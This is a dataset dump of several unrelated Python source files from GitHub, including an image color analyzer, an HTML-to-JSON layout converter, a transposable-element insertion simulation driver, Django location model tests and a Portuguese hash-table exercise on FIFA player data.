float(input(\"Enter Vx: \"))\r\n Vy = float(input(\"Enter Vy: \"))\r\n w = float(input(\"Enter w (omega): \"))\r\n\r\n v1, v2, v3 = kinematic_model.resolve_velocity(Vx, Vy, w)\r\n pwm_1, pwm_2, pwm_3 = kinematic_model.calculate_pwm(v1, v2, v3)\r\n\r\n print(\"Motor Angular Velocity:\")\r\n print(f\"V1 = {np.round(v1, 3)}\")\r\n print(f\"V2 = {np.round(v2, 3)}\")\r\n print(f\"V3 = {np.round(v3, 3)}\")\r\n\r\n print(\"PWM value driving motor using cytron driver:\")\r\n if pwm_1 > 255 or pwm_2 > 255 or pwm_3 > 255:\r\n print(\"PWM Driving --> Velocity greater than maximum assumed!!!\")\r\n else:\r\n if pwm_1 < 0:\r\n print(f\"PWM 1 = {abs(int(pwm_1))} Negative Direction\")\r\n else:\r\n print(f\"PWM 1 = {int(pwm_1)}\")\r\n\r\n if pwm_2 < 0:\r\n print(f\"PWM 2 = {abs(int(pwm_2))} Negative Direction\")\r\n else:\r\n print(f\"PWM 2 = {int(pwm_2)}\")\r\n\r\n if pwm_3 < 0:\r\n print(f\"PWM 3 = {abs(int(pwm_3))} Negative Direction\")\r\n else:\r\n print(f\"PWM 3 = {int(pwm_3)}\")\r\n","repo_name":"AhmedSamymoh/Task7","sub_path":"Task 7.3/PID_control.py","file_name":"PID_control.py","file_ext":"py","file_size_in_byte":4216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11883836711","text":"import os\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\n\nclass Colors:\n\n def __init__(self, eat, step, dir, kull=0, ifkull=True):\n # задаем начальные данные\n self.eat = eat\n self.step = step\n self.dir = dir\n self.kull = kull\n self.ifkull = ifkull\n self.txt = ''\n self.files = []\n self.givefiles()\n\n def rgb_to_cmyk(self, r, g, b, rgb_scale=255, cmyk_scale=100):\n\n if (r == 0) and (g == 0) and (b == 0):\n # black\n return 0, 0, 0, cmyk_scale\n\n # rgb [0,255] -> r'g'b'[0,1]\n R = r / float(rgb_scale)\n G = g / float(rgb_scale)\n B = b / float(rgb_scale)\n\n # extract cmyk [0,1]\n m = max(R, G, B)\n k = 1 - m\n c = (1 - R - k) / (1 - k)\n m = (1 - G - k) / (1 - k)\n y = (1 - B - k) / (1 - k)\n\n # rescale to the range [0,cmyk_scale]\n return int(c*cmyk_scale), int(m*cmyk_scale), int(y*cmyk_scale), int(k*cmyk_scale)\n\n def gcr(self, im, percentage=0):\n '''basic \"Gray Component Replacement\" function. Returns a CMYK image with\n percentage gray component removed from the CMY channels and put in the\n K channel, ie. for percentage=100, (41, 100, 255, 0) >> (0, 59, 214, 41)'''\n cmyk_im = im.convert('CMYK')\n if not percentage:\n return cmyk_im\n cmyk_im = cmyk_im.split()\n cmyk = []\n for i in range(4):\n cmyk.append(cmyk_im[i].load())\n for x in range(im.size[0]):\n for y in range(im.size[1]):\n gray = min(cmyk[0][x,y], cmyk[1][x,y], cmyk[2][x,y]) * percentage / 100\n for i in range(3):\n cmyk[i][x,y] = cmyk[i][x,y] - gray\n cmyk[3][x,y] = gray\n return Image.merge('CMYK', cmyk_im)\n\n def conv(self, image1):\n mass = [self.rgb_to_cmyk(pixel[0], pixel[1], pixel[2]) for pixel in iter(image1.getdata())]\n cmyk = self.gcr(image1)\n cmyk.putdata(mass)\n return cmyk\n\n def clean(self):\n i = 0\n for k in self.eat:\n self.eat[i][4] = 0\n i += 1\n\n def givefiles(self):\n self.files = os.listdir(self.dir)\n\n def calckull(self, image):\n width, height = image.size\n if (width >= height):\n self.kull = width * 10\n else:\n self.kull = height * 10\n\n def calceat(self):\n self.txt = ''\n for e in self.eat:\n if (e[4] > self.kull):\n self.txt += e[5] + ', '\n\n def calcpixels(self, pixel):\n i = 0\n for e in self.eat:\n if (e[0] - self.step < pixel[0] and pixel[0] < e[0] + self.step and\n e[1] - self.step < pixel[1] and pixel[1] < e[1] + self.step and\n e[2] - self.step < pixel[2] and pixel[2] < e[2] + self.step and\n e[3] - self.step < pixel[3] and pixel[3] < e[3] + self.step):\n self.eat[i][4] += 1\n m = [0, 0, 0, 100]\n return m\n i += 1\n return False\n\n def justdo(self):\n\n for im in self.files:\n\n image = Image.open(self.dir + im)\n\n if(self.ifkull):\n self.calckull(image)\n\n image = self.conv(image)\n image.show()\n\n self.clean()\n\n i = 0\n\n imag = image.getdata()\n pixels = [[pixel[0], pixel[1], pixel[2], pixel[3]] for pixel in iter(imag)]\n\n for pixel in iter(imag):\n p = self.calcpixels(pixel)\n if(p):\n pixels[i] = p\n i += 1\n\n print(self.eat)\n\n pix = [(pixel[0], pixel[1], pixel[2], pixel[3]) for pixel in iter(pixels)]\n\n self.calceat()\n\n image.putdata(pix)\n plt.title(self.txt)\n plt.imshow(image)\n plt.show()","repo_name":"bykovskiym/sharaga","sub_path":"alfim/Lab2/colors.py","file_name":"colors.py","file_ext":"py","file_size_in_byte":3963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"38375136771","text":"from bs4 import BeautifulSoup \nimport json\nimport cssutils\n\ntypes=['p','img','button']\n\ndef getTypeIds(bs):\n res={};\n body=bs.body;\n for type in types:\n res[type]=[];\n temps=body.find_all(type);\n for temp in temps:\n res[type].append(temp['id']);\n return res;\n\ndef getAllIds(bs):\n res=[];\n body=bs.body;\n for type in types:\n temps=body.find_all(type);\n for temp in temps:\n res.append(temp['id']);\n return res;\n\ndef parseCSS(bs):\n elements = {};\n cssFilePath=bs.link['href'];\n file = open(cssFilePath, 'rb');\n css = file.read();\n sheet = cssutils.parseString(css);\n\n for rule in sheet:\n element={};\n selector = rule.selectorText;\n for attr in rule.style:\n element[attr.name]=attr.value;\n elements[selector]=element;\n return elements;\n\ndef genCSSJson(bs):\n res=[];\n elements=parseCSS(bs);\n ids=getAllIds(bs);\n for id in ids:\n json={};\n element=elements['#'+id];\n json['horizontalPreference']='None';\n json['verticalPreference']='None';\n json['fillColorGreenValue']=255;\n json['fillColorBlueValue']=255;\n json['fillColorRedValue']=255;\n json['width']=int(element['width'].split('px')[0]);\n json['height']=int(element['height'].split('px')[0]);\n json['x']=-1;\n json['y']=-1;\n json['isDrawingFill']=1;\n json['isLocked']=\"false\";\n json['type']=\"ImageElement\";\n res.append(json);\n return res;\n\n\n\ndef generateBasicJson():\n root={'layouts':[]};\n root['layouts'].append(\n {'borderXPadding':28,\n \"elementXPadding\":32,\n \"id\":\"originalLayout\",\n \"borderYPadding\" : 32,\n \"isOptimised\" : False,\n \"isEdited\" : False,\n \"canvasWidth\" : 1080,\n \"userRating\" : 0,\n \"canvasHeight\" : 1920,\n \"elementYPadding\" : 32,\n \"score\" : 0,\n \"isSaved\" : False});\n return root;\n\n\nfile = open('./test.html', 'rb') \nhtml = file.read() \nbs = BeautifulSoup(html,\"html.parser\")\n\njsontext=generateBasicJson();\nelements=genCSSJson(bs);\njsontext['layouts'][0]['elements']=elements;\njsondata = json.dumps(jsontext,indent=4,separators=(',', ': '));\n\n\nf = open('test.json', 'w')\nf.write(jsondata)\nf.close()\n\n\n\n\n\n","repo_name":"Hajiren/Web-to-Body","sub_path":"try_grids/htmlparser.py","file_name":"htmlparser.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37509258220","text":"import argparse\nimport os\nimport sys\nimport traceback\nimport subprocess\nfrom multiprocessing import Process, Pool\nfrom Bio import SeqIO\nfrom Bio.Seq import Seq\n\n\nclass ModifiedChrom:\n def __init__(self):\n self.name = \"\"\n self.seq = \"\"\n self.insert = \"\"\n self.insert_start = -1\n self.insert_end = -1\n self.strand = \"?\"\n\nclass Feature:\n def __init__(self):\n self.chrom = \"\"\n self.start = -1\n self.end = -1\n self.strand = \"?\"\n\ndef main():\n args = parse_args()\n \n trnas = get_trnas(args.trna)\n chroms_with_inserts = make_inserts(args.reference, args.consensus, trnas, strand=\"+\")\n if not os.path.exists(args.out+\"/forward_data\"):\n os.mkdir(args.out+\"/forward_data\")\n fastas = make_fastas(args.reference, chroms_with_inserts, args.out+\"/forward_data\", start=args.start, end=args.end)\n make_beds(chroms_with_inserts, args.out+\"/forward_data\", start=args.start, end=args.end)\n fastqs = threaded_make_fastqs(fastas, args.out+\"/forward_data\", threads=args.proc)\n if not os.path.exists(args.out+\"/forward_results\"):\n os.mkdir(args.out+\"/forward_results\")\n threaded_mcclintock_run(fastqs, args.reference, args.consensus, args.locations, args.taxonomy, args.out+\"/forward_results\", threads=args.proc)\n\n\n\n if not os.path.exists(args.out+\"/reverse_data\"):\n os.mkdir(args.out+\"/reverse_data\")\n chroms_with_inserts = make_inserts(args.reference, args.consensus, trnas, strand=\"-\")\n fastas = make_fastas(args.reference, chroms_with_inserts, args.out+\"/reverse_data\", start=args.start, end=args.end)\n make_beds(chroms_with_inserts, args.out+\"/reverse_data\", start=args.start, end=args.end)\n fastqs = threaded_make_fastqs(fastas, args.out+\"/reverse_data\", threads=args.proc)\n if not os.path.exists(args.out+\"/reverse_results\"):\n os.mkdir(args.out+\"/reverse_results\")\n threaded_mcclintock_run(fastqs, args.reference, args.consensus, args.locations, args.taxonomy, args.out+\"/reverse_results\", threads=args.proc)\n\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(prog='McClintock', description=\"Meta-pipeline to identify transposable element insertions using next generation sequencing data\")\n\n ## required ##\n parser.add_argument(\"-r\", \"--reference\", type=str, help=\"A reference genome sequence in fasta format\", required=True)\n parser.add_argument(\"-c\", \"--consensus\", type=str, help=\"The consensus sequences of the TEs for the species in fasta format\", required=True)\n parser.add_argument(\"-g\", \"--locations\", type=str, help=\"The locations of known TEs in the reference genome in GFF 3 format. This must include a unique ID attribute for every entry\", required=True)\n parser.add_argument(\"-t\", \"--taxonomy\", type=str, help=\"A tab delimited file with one entry per ID in the GFF file and two columns: the first containing the ID and the second containing the TE family it belongs to. The family should correspond to the names of the sequences in the consensus fasta file\", required=True)\n parser.add_argument(\"--trna\", type=str, help=\"A gff indicating the locations of tRNAs in the reference genome\", required=True)\n \n\n ## optional ##\n parser.add_argument(\"-p\", \"--proc\", type=int, help=\"The number of processors to use for parallel stages of the pipeline [default = 1]\", required=False)\n parser.add_argument(\"-o\", \"--out\", type=str, help=\"An output folder for the run. [default = '.']\", required=False)\n parser.add_argument(\"-s\", \"--start\", type=int, help=\"the start of the range of seeds to run (default=1)\", required=False)\n parser.add_argument(\"-e\", \"--end\", type=int, help=\"the end of the range of seeds to run (default=299)\", required=False)\n\n args = parser.parse_args()\n\n\n #check -r\n args.reference = get_abs_path(args.reference)\n #check -c\n args.consensus = get_abs_path(args.consensus)\n # check -g\n args.locations = get_abs_path(args.locations)\n # check -t\n args.taxonomy = get_abs_path(args.taxonomy)\n # check --trna\n args.trna = get_abs_path(args.trna)\n\n #check -p\n if args.proc is None:\n args.proc = 1\n\n #check -o\n if args.out is None:\n args.out = os.path.abspath(\".\")\n else:\n args.out = os.path.abspath(args.out)\n\n if not os.path.exists(args.out):\n try:\n os.mkdir(args.out)\n except Exception as e:\n track = traceback.format_exc()\n print(track, file=sys.stderr)\n print(\"cannot create output directory: \",args.out,\"exiting...\", file=sys.stderr)\n sys.exit(1)\n\n if args.start is None:\n args.start = 1\n if args.end is None:\n args.end = 299\n\n if args.start > args.end:\n print(\"-s/--start must be lower than -e/--end\")\n sys.exit(1)\n \n return args\n\n\ndef get_trnas(trna_gff):\n trnas = []\n with open(trna_gff, \"r\") as gff:\n for line in gff:\n if \"#\" not in line:\n split_line = line.split(\"\\t\")\n trna = Feature()\n trna.chrom = split_line[0]\n trna.start = int(split_line[3])\n trna.end = int(split_line[4])\n trna.strand = split_line[6]\n\n trnas.append(trna)\n \n return trnas\n\ndef make_inserts(reference, consensus, trnas, strand=\"+\"):\n ref_records = SeqIO.parse(reference, \"fasta\")\n ref_chroms = {}\n for record in ref_records:\n ref_chroms[str(record.id)] = str(record.seq)\n\n consensus_records = SeqIO.parse(consensus, \"fasta\")\n \n consensus_contigs = {}\n for record in consensus_records:\n seq = Seq(str(record.seq))\n if strand != \"+\":\n seq = seq.reverse_complement()\n consensus_contigs[str(record.id)] = str(seq)\n \n \n te_types = [\"TY1\", \"TY2\", \"TY3\", \"TY4\"]\n te_idx = 0\n synthetic_insertions = []\n for trna in trnas:\n if te_idx >= len(te_types):\n te_idx = 0\n\n insertion = ModifiedChrom()\n seq = ref_chroms[trna.chrom]\n if trna.strand == \"+\":\n if te_types[te_idx] == \"TY3\":\n seq_start = seq[0:trna.start-12]\n seq_end = seq[trna.start-17:len(seq)]\n else:\n seq_start = seq[0:trna.start-195]\n seq_end = seq[trna.start-200:len(seq)]\n \n else:\n if te_types[te_idx] == \"TY3\":\n seq_start = seq[0:trna.start+17]\n seq_end = seq[trna.start+12:len(seq)]\n else:\n seq_start = seq[0:trna.start+200]\n seq_end = seq[trna.start+195:len(seq)]\n # print(seq_start[-5:], seq_end[0:5], len(seq_start+seq_end) - len(seq))\n \n tsd_len = len(seq_start+seq_end) - len(seq)\n insertion.strand = strand\n insertion.name = trna.chrom\n insertion.insert = te_types[te_idx]\n insertion.seq = seq_start+consensus_contigs[te_types[te_idx]]+seq_end\n insertion.insert_start = len(seq_start)-tsd_len\n insertion.insert_end = len(seq_start)\n synthetic_insertions.append(insertion)\n te_idx += 1\n\n return synthetic_insertions\n\n\ndef get_abs_path(in_file, log=None):\n if os.path.isfile(in_file):\n return os.path.abspath(in_file)\n else:\n msg = \" \".join([\"Cannot find file:\",in_file,\"exiting....\\n\"])\n sys.stderr.write(msg)\n writelog(log, msg)\n sys.exit(1)\n\n\ndef writelog(log, msg):\n if log is not None:\n with open(log, \"a\") as out:\n out.write(msg)\n\ndef make_fastas(reference, chroms_with_inserts, out, start=1, end=299):\n fastas = []\n for x in range(start-1, end):\n out_fasta = out+\"/insertion\"+str(x+1)+\"_genome.fasta\"\n with open(out_fasta, \"w\") as outfa:\n ref_records = SeqIO.parse(reference, \"fasta\")\n for record in ref_records:\n if str(record.id) == chroms_with_inserts[x].name:\n print(\"replacing chrom with chrom with synthetic insert\", x+1)\n seq = chroms_with_inserts[x].seq\n else:\n seq = str(record.seq)\n \n outfa.write(\">\"+str(record.id)+\"\\n\")\n outfa.write(seq+\"\\n\")\n \n fastas.append(out_fasta)\n \n return fastas\n\ndef make_beds(chroms_with_inserts, out, start=1, end=299):\n for x in range(start-1, end):\n out_bed = out+\"/insertion\"+str(x+1)+\"_genome.bed\"\n with open(out_bed,\"w\") as bed:\n line = [chroms_with_inserts[x].name, str(chroms_with_inserts[x].insert_start), str(chroms_with_inserts[x].insert_end), chroms_with_inserts[x].insert, \"0\", chroms_with_inserts[x].strand]\n bed.write(\"\\t\".join(line)+\"\\n\")\n\ndef calculate_num_pairs(fasta):\n command = [\"samtools\",\"faidx\", fasta]\n run_command(command)\n\n total_length = 0\n with open(fasta+\".fai\", \"r\") as faidx:\n for line in faidx:\n split_line = line.split(\"\\t\")\n contig_length = int(split_line[1])\n total_length += contig_length\n \n num_pairs = (total_length * 100)/202\n return num_pairs\n\n\ndef threaded_make_fastqs(refs, out, threads=1):\n print(\"Creating simulated fastq files...\")\n fastqs = []\n inputs = []\n for ref in refs:\n num_pairs = calculate_num_pairs(ref)\n fastq_base_name = ref.replace(\".fasta\", \"\")\n inputs.append([ref, num_pairs, fastq_base_name])\n fastqs.append(fastq_base_name)\n \n pool = Pool(processes=threads)\n pool.map(make_fastq, inputs)\n pool.close()\n pool.join()\n\n return fastqs\n\n\n\ndef make_fastq(args):\n ref = args[0]\n num_pairs = args[1]\n fq_base_name = args[2]\n\n command = [\"wgsim\", \"-1\", \"101\", \"-2\", \"101\", \"-d\", \"300\", \"-N\", str(num_pairs), \"-S\", \"42\", \"-e\", \"0.01\", \"-h\", ref, fq_base_name+\"_1.fastq\", fq_base_name+\"_2.fastq\"]\n run_command_stdout(command, fq_base_name+\"_wgsim_report.txt\")\n\n\ndef threaded_mcclintock_run(fastqs, ref, consensus, locations, taxonomy, out, threads=1):\n print(\"Starting McClintock runs on simulated reads\")\n inputs = []\n for fq in fastqs:\n basename = fq.split(\"/\")[-1]\n if not os.path.exists(out+\"/\"+basename):\n os.mkdir(out+\"/\"+basename)\n inputs.append([fq+\"_1.fastq\", fq+\"_2.fastq\", ref, consensus, locations, taxonomy, out+\"/\"+basename, False, False])\n \n pool = Pool(processes=threads)\n pool.map(mcclintock_run, inputs)\n pool.close()\n pool.join()\n\n\ndef mcclintock_run(args):\n fq1 = args[0]\n fq2 = args[1]\n ref = args[2]\n consensus = args[3]\n locations = args[4]\n taxonomy = args[5]\n out = args[6]\n add_ref = args[7]\n add_cons = args[8]\n\n mcc_path = str(os.path.dirname(os.path.abspath(__file__)))+\"/../../\"\n\n command = [\"python3\",mcc_path+\"/mcclintock.py\", \"-r\", ref, \"-c\", consensus, \"-1\", fq1, \"-2\", fq2, \"-p\", \"1\", \"-o\", out, \"-g\", locations, \"-t\", taxonomy]\n\n if add_ref:\n command.append(\"-R\")\n \n if add_cons:\n command.append(\"-C\")\n\n print(\"running mcclintock... output:\", out)\n run_command_stdout(command, out+\"/run.stdout\", log=out+\"/run.stderr\")\n\n if not os.path.exists(out+\"/results/summary/summary_report.txt\"):\n sys.stderr.write(\"run at: \"+out+\" failed...\")\n\n\ndef run_command_stdout(cmd_list, out_file, log=None):\n msg = \"\"\n if log is None:\n try:\n # print(\" \".join(cmd_list)+\" > \"+out_file)\n out = open(out_file,\"w\")\n subprocess.check_call(cmd_list, stdout=out)\n out.close()\n except subprocess.CalledProcessError as e:\n if e.output is not None:\n msg = str(e.output)+\"\\n\"\n if e.stderr is not None:\n msg += str(e.stderr)+\"\\n\"\n cmd_string = \" \".join(cmd_list)\n msg += msg + cmd_string + \"\\n\"\n sys.stderr.write(msg)\n sys.exit(1)\n \n else:\n try:\n out_log = open(log,\"a\")\n out_log.write(\" \".join(cmd_list)+\" > \"+out_file+\"\\n\")\n out = open(out_file,\"w\")\n subprocess.check_call(cmd_list, stdout=out, stderr=out_log)\n out.close()\n out_log.close()\n\n except subprocess.CalledProcessError as e:\n if e.output is not None:\n msg = str(e.output)+\"\\n\"\n if e.stderr is not None:\n msg += str(e.stderr)+\"\\n\"\n cmd_string = \" \".join(cmd_list)\n msg += msg + cmd_string + \"\\n\"\n writelog(log, msg)\n sys.stderr.write(msg)\n sys.exit(1)\n\ndef run_command(cmd_list, log=None):\n msg = \"\"\n if log is None:\n try:\n # print(\" \".join(cmd_list))\n subprocess.check_call(cmd_list)\n except subprocess.CalledProcessError as e:\n if e.output is not None:\n msg = str(e.output)+\"\\n\"\n if e.stderr is not None:\n msg += str(e.stderr)+\"\\n\"\n cmd_string = \" \".join(cmd_list)\n msg += msg + cmd_string + \"\\n\"\n sys.stderr.write(msg)\n sys.exit(1)\n \n else:\n try:\n out = open(log,\"a\")\n out.write(\" \".join(cmd_list)+\"\\n\")\n subprocess.check_call(cmd_list, stdout=out, stderr=out)\n out.close()\n\n except subprocess.CalledProcessError as e:\n if e.output is not None:\n msg = str(e.output)+\"\\n\"\n if e.stderr is not None:\n msg += str(e.stderr)+\"\\n\"\n cmd_string = \" \".join(cmd_list)\n msg += msg + cmd_string + \"\\n\"\n writelog(log, msg)\n sys.stderr.write(msg)\n sys.exit(1)\n\nif __name__ == \"__main__\": \n main()","repo_name":"cnyuanh/mcclintock","sub_path":"test/simulations/synthetic_ins_simulation.py","file_name":"synthetic_ins_simulation.py","file_ext":"py","file_size_in_byte":13759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"10352669714","text":"from skimage.color import rgb2gray\nimport numpy as np\n\nfrom base import Descriptor\n\n\nclass HistDescriptor(Descriptor):\n def __init__(self, num_points=32, **kwargs):\n super(HistDescriptor, self).__init__(**kwargs)\n self.num_points = num_points\n self.eps = 1e-7\n\n def _calculate_descriptor(self, img, *args, **kwargs):\n if len(img.shape) == 3:\n img = rgb2gray(img)\n # if 'mean' in kwargs:\n # mean = kwargs['mean']\n # img2 = img / mean * 128\n # else:\n img2 = img\n bins = [x * 1.0 / (self.num_points + 2) for x in np.arange(0, self.num_points + 2)]\n # (hist, _) = np.histogram(img.ravel(), bins=bins,\n # range=(0, self.num_points + 1))\n (hist2, _) = np.histogram(img2.ravel(), bins=bins,\n range=(0, self.num_points + 1 - 5))\n # normalize the histogram\n hist = hist2.astype(np.float)\n # hist = hist / sum(hist)\n # hist /= (hist.sum() + self.eps)\n\n statistics = np.asarray(\n []) # np.asarray([float(img.min()), float(img.max()), img.mean(), img.std(), img.var()])\n # return the histogram of Local Binary Patterns\n return np.concatenate((statistics, hist))\n\n def size(self):\n return self.num_points + 1\n\n\ndef hist_distance(h1, h2, power_=2):\n # print h1, h2\n needed, availiable = map(list, zip(*[(y - x if x >= y else 0, y - x if y >= x else 0) for x, y in zip(h1, h2)]))\n # print needed, availiable\n dist = 0\n j = 0\n for i in xrange(len(needed)):\n val = needed[i]\n while val != 0:\n if availiable[j] == 0:\n j += 1\n continue\n if availiable[j] >= abs(val):\n dist += abs(val) * abs(pow(i - j, power_))\n availiable[j] += val\n val = 0\n else:\n dist += abs(availiable[j]) * abs(pow(i - j, power_))\n # print availiable\n val += availiable[j]\n availiable[j] = 0\n\n return dist\n","repo_name":"deathnik/img_finder","sub_path":"features/hist.py","file_name":"hist.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31191871234","text":"\"\"\"\nTest for Location model\n\"\"\"\nfrom model_mommy import mommy\n\nfrom kaznet.apps.main.tests.base import MainTestBase\n\n\nclass TestLocations(MainTestBase):\n \"\"\"\n Test class for Location models\n \"\"\"\n\n def setUp(self):\n super().setUp()\n\n def test_location_model_str(self):\n \"\"\"\n Test the str method on Location model with Country Defined\n \"\"\"\n nairobi = mommy.make(\n 'main.Location',\n name=\"Nairobi\",\n country=\"KE\")\n expected = 'Kenya - Nairobi'\n self.assertEqual(expected, nairobi.__str__())\n\n def test_location_model_str_no_country(self):\n \"\"\"\n Test the str method on Location model without Country Defined\n \"\"\"\n nairobi = mommy.make('main.Location', name=\"Nairobi\")\n expected = 'Nairobi'\n self.assertEqual(expected, nairobi.__str__())\n\n def test_location_parent_link(self):\n \"\"\"\n Test the parent link between Locations\n \"\"\"\n nairobi = mommy.make('main.Location', name=\"Nairobi\")\n hurlingham = mommy.make(\n 'main.Location',\n name=\"Hurlingham\",\n parent=nairobi)\n self.assertEqual(nairobi, hurlingham.parent)\n\n def test_parent_name(self):\n \"\"\"\n Test parent name\n \"\"\"\n nairobi = mommy.make('main.Location', name=\"Nairobi\")\n hurlingham = mommy.make(\n 'main.Location',\n name=\"Hurlingham\",\n parent=nairobi)\n self.assertEqual(None, nairobi.parent_name)\n self.assertEqual(\"Nairobi\", hurlingham.parent_name)\n\n def test_has_submissions(self):\n \"\"\"\n Test the has_submissions property\n \"\"\"\n nairobi = mommy.make('main.Location', name=\"Nairobi\")\n voi = mommy.make('main.Location', name=\"Voi\")\n # make a Voi submission\n mommy.make(\n 'main.Submission',\n location=voi,\n _fill_optional=['user', 'comment', 'submission_time'])\n self.assertEqual(False, nairobi.has_submissions)\n self.assertEqual(True, voi.has_submissions)\n\n def test_location_type_name(self):\n \"\"\"\n Test location_type_name\n \"\"\"\n market = mommy.make('main.LocationType', name=\"Market\")\n nairobi = mommy.make('main.Location', name=\"Nairobi\")\n hurlingham = mommy.make(\n 'main.Location',\n name=\"Hurlingham\",\n location_type=market)\n self.assertEqual(None, nairobi.location_type_name)\n self.assertEqual(\"Market\", hurlingham.location_type_name)\n","repo_name":"onaio/kaznet-web","sub_path":"kaznet/apps/main/tests/models/test_locations.py","file_name":"test_locations.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"72897477480","text":"# classe que representa o Nodo da Lista ou seja o jogador\nclass NodoLista:\n def __init__(self, id, content, proximo_nodo=None):\n self.id = id # id da fifa\n self.content = content # contem o nome do jogador na posicao 0 e a sua posicao nos nodos seguintes\n self.proximo = proximo_nodo\n\nclass ListaEncadeada:\n lista_consultas = []\n\n def __init__(self):\n self.inicio = None \n\n def insere_no_inicio(self, novo_id ,novo_content):\n novoNodo = NodoLista(novo_id, novo_content)\n novoNodo.proximo = self.inicio\n self.inicio = novoNodo\n \n def tamanho_lista(self):\n contador = 0\n aux = self.inicio\n while(aux != None): \n contador+=1 \n aux = aux.proximo\n return contador\n\n def getInfos(self, id):\n qtd_consultas = 0\n aux = self.inicio\n while aux != None:\n if aux.id == id:\n ListaEncadeada.lista_consultas.append(qtd_consultas) \n return (aux, qtd_consultas)\n else:\n aux = aux.proximo\n qtd_consultas+=1\n\n def printa_lista(self):\n aux = self.inicio\n while aux != None:\n print(aux.id)\n aux = aux.proximo\n\n# Definicao da class hash,\n# recebe na inicializacao o tamanho dela\nclass Hash:\n posicoes_usadas = []\n \n def __init__(self, tamanho):\n self.tamanho = tamanho\n self.hash_table = [ListaEncadeada() for i in range(self.tamanho)] # cria uma lista de listas encadeadas independentes\n \n \n\n# Função de Hash para definir o local, retorna a key de onde o valor\n# está ou deve ser inserido\n def get_position(self, id):\n key = (id % self.tamanho) # modulo do id pelo tamanho\n if key not in Hash.posicoes_usadas:\n Hash.posicoes_usadas.append(key)\n\n return key\n \n \n\n def add(self, infos):\n id = int(infos[0])\n content = infos[1:]\n position = self.get_position(id) # pega a posicao que o dado deve ser inserido com base na funcao hash\n\n # verificacao caso quisessemos garantir que jogadores duplicados nao a\n # aparecessem na lista\n # if not self.hash_table[position].isIn(id): \n # self.hash_table[position].insere_no_inicio(id, content)\n # else:\n # print('Dado já foi adicionado')\n\n self.hash_table[position].insere_no_inicio(id, content)\n \n # Com base no id vai para o posicao do array especifico\n # E Posteriormente chama uma funcao da propria classe da lista Encadeada \n # para consultar se o elemento esta naquela lista\n def consulta(self, id, arquivo):\n position = self.get_position(id)\n nodo_aux = self.hash_table[position].getInfos(id)\n nodo = nodo_aux[0] if nodo_aux else None\n if nodo: # se o nodo não for false\n arquivo.write(f'{nodo.id} {nodo.content[0]} {nodo_aux[1]}\\n')\n else:\n arquivo.write(f'{id} MISS\\n')\n \n \nif __name__ == '__main__':\n\n tamanho = int(input(\"Informe o tamanho da tabela hash: 1000, 2000, 4000 ou 8000: \")) # definicao do tamanho da tabela hash para os valores pré-estabelecidos 1000,2000,4000,8000\n tamanho = tamanho if tamanho in [1000,2000,4000,8000] else 1000 # se for algum valor diferente, usa o tamanho = 1000 como padrão\n tabela_hash = Hash(tamanho) \n \n\n with open('players.csv', 'r') as file: # lendo o players.csv e colocando no Hash\n next(file) #Ignora a primeira linha\n for linha in file:\n data = linha.split(',', 2)\n tabela_hash.add(data)\n \n entradas_usadas = len(Hash.posicoes_usadas) #Qtd de entradas usadas\n entradas_vazias = tamanho - len(Hash.posicoes_usadas) #Qtd de entradas vazias\n taxa_de_ocupacao = entradas_usadas/entradas_vazias if entradas_vazias != 0 else entradas_usadas\n min_tamanho_de_lista = float(\"inf\")\n max_tamanho_de_lista = float(\"-inf\")\n medio_tamanho_de_lista = 0\n for lista in tabela_hash.hash_table: #Percorre todas as listas encadeadas da tabela hash e calcula qual a maior e a menor lista\n tamanho_da_lista_atual = lista.tamanho_lista()\n medio_tamanho_de_lista += tamanho_da_lista_atual/tamanho\n if tamanho_da_lista_atual > max_tamanho_de_lista:\n max_tamanho_de_lista = tamanho_da_lista_atual\n if tamanho_da_lista_atual < min_tamanho_de_lista:\n min_tamanho_de_lista = tamanho_da_lista_atual \n \n\n with open('experimento' + str(tamanho)+'.txt', 'w') as arq:\n arq.write('PARTE 1: ESTATISTICAS DA TABELA HASH \\n')\n arq.write('NUMERO DE ENTRADAS DA TABELA USADAS '+ str(entradas_usadas) + '\\n')\n arq.write('NUMERO DE ENTRADAS DA TABELA VAZIAS '+ str(entradas_vazias) + '\\n')\n arq.write('TAXA DE OCUPACAO ' + str(taxa_de_ocupacao) + '\\n')\n arq.write('MINIMO TAMANHO DE LISTA ' + str(min_tamanho_de_lista) + '\\n')\n arq.write('MAXIMO TAMANHO DE LISTA ' + str(max_tamanho_de_lista) + '\\n')\n arq.write('MEDIO TAMANHO DE LISTA ' + str(medio_tamanho_de_lista) + '\\n')\n\n arq.write('PARTE 2: ESTATISTICAS DAS CONSULTAS \\n')\n\n with open('consultas-fifa.txt', 'r') as consultas: # fazendo as consultas necessarias\n\n for linha in consultas:\n tabela_hash.consulta(int(linha), arq)\n\n lista_quantidade_consultas = ListaEncadeada.lista_consultas\n min_nro_testes = min(lista_quantidade_consultas)\n max_nro_testes = max(lista_quantidade_consultas)\n media_nro_testes = sum(lista_quantidade_consultas)/len(lista_quantidade_consultas)\n media_consultas = sum(set(lista_quantidade_consultas))/len(set(lista_quantidade_consultas))\n arq.write('MINIMO NUMERO DE TESTES POR NOME ENCONTRADO ' + str(min_nro_testes) + '\\n')\n arq.write('MAXIMO NUMERO DE TESTES POR NOME ENCONTRADO ' + str(max_nro_testes) + '\\n')\n arq.write('MEDIA NUMERO DE TESTES NOME ENCONTRADO ' + str(media_nro_testes) + '\\n')\n arq.write('MEDIA DAS CONSULTAS ' + str(media_consultas))\n","repo_name":"Spolavore/hashTable-Implementation","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6226,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"70114457321","text":"#\n# 